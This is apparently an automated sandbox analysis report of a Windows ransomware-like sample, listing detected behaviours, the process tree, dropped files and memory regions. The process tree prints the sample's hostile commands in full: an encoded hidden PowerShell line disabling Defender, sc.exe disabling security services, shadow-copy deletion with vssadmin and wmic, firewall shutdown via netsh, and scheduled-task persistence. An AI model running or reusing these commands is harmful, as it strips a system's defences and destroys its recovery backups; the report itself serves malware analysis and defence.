Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/10/2026, 17:10

General

  • Target
    2026-10-19_6d5fd61b6549cd192f1a97094d08f23e_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample261020-vpyawact9y
  • SHA256 acd6232c820a33bded0d4ef772875507824f0532d419b71e50a373a3b48f881f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Custom signature
    Detects command variations typically used by ransomware 1 IoCs
  • Custom signature
    Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-19_6d5fd61b6549cd192f1a97094d08f23e_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-19_6d5fd61b6549cd192f1a97094d08f23e_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5384
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5068
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4928
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1376
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5612
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2144
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2564
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5928
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:5208
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3628
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2752
      • C:\Users\Admin\AppData\Local\Temp\2026-10-19_6d5fd61b6549cd192f1a97094d08f23e_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-10-19_6d5fd61b6549cd192f1a97094d08f23e_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:4420
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:1088
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-10-19_6d5fd61b6549cd192f1a97094d08f23e_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4888
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4228
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:3284
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4248
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5400
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:4668
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4984
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:1324
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3136
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
            PID:4632
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4492
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1892
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:4616
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4376
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:5088
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4936
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:5128
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-10-19_6d5fd61b6549cd192f1a97094d08f23e_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4420
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:4156
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe"
            2⤵
              PID:828
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:1144
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5208
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5380
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:1812
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:5116
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:4820
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:4496
            • C:\Windows\system32\LogonUI.exe
              "LogonUI.exe" /flags:0x0 /state0:0xa3a22855 /state1:0x41c64e6d
              1⤵
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Checks processor information in registry
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:3464
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k CameraMonitor
              1⤵
                PID:4260
              • C:\Users\Admin\AppData\Local\Temp\2026-10-19_6d5fd61b6549cd192f1a97094d08f23e_destroyer_elex_glassworm_ngrbot_wannacry.exe
                C:\Users\Admin\AppData\Local\Temp\2026-10-19_6d5fd61b6549cd192f1a97094d08f23e_destroyer_elex_glassworm_ngrbot_wannacry.exe
                1⤵
                  PID:4536
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                    PID:4964
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k swprv
                    1⤵
                      PID:2564

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          doc_2.pdf

                          • Path C:\SystemVolumeInformation\doc_2.pdf
                          • Size 66KB
                          • SHA256 e8df034d133edcb4ae79b1291cbd49c174513e0fabe574aef3790a6ffa4c5609
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          __PSScriptPolicyTest_htvixljn.axl.psm1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_htvixljn.axl.psm1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 309B
                          • SHA256 682f6451b926134b6befeb58d8f4f62a1bd61be75675f1b9de8c4aafa671d076
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 310B
                          • SHA256 0be49635128d60ed1eb758983d660848b1d2ca0528cce8787e06167675b3e7bb
                          • MD5 SHA1 SHA512 TLSH

                          invoice_1.pdf

                          • Path C:\Users\Admin\Documents\invoice_1.pdf
                          • Size 66KB
                          • SHA256 aae795b7081e78700c708633794b1087cc7388e4c1f200c01b923ee32026def7
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/828-2245-0x0000025B17E10000-0x0000025B17E11000-memory.dmp

                          memory/5068-1663-0x0000024AAF670000-0x0000024AAF68E000-memory.dmp

                          memory/5068-19-0x0000024A973A0000-0x0000024A973C2000-memory.dmp

                          memory/5068-1665-0x0000024A97440000-0x0000024A9744A000-memory.dmp

                          memory/5068-1664-0x0000024AAF690000-0x0000024AAF742000-memory.dmp

                          memory/5384-8-0x000000001E120000-0x000000001E2E2000-memory.dmp

                          memory/5384-3-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-10-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-13-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-14-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-1-0x0000000000B10000-0x0000000000B22000-memory.dmp

                          memory/5384-12-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-7-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-11-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-9-0x000000001E920000-0x000000001EE48000-memory.dmp

                          memory/5384-6-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-15-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-2-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-0-0x00007FF8C4BBF000-0x00007FF8C4BC0000-memory.dmp

                          memory/5384-2252-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-2254-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-2255-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-2256-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-2257-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-2258-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-2259-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-2260-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp

                          memory/5384-2261-0x00007FF8C4A30000-0x00007FF8C53D4000-memory.dmp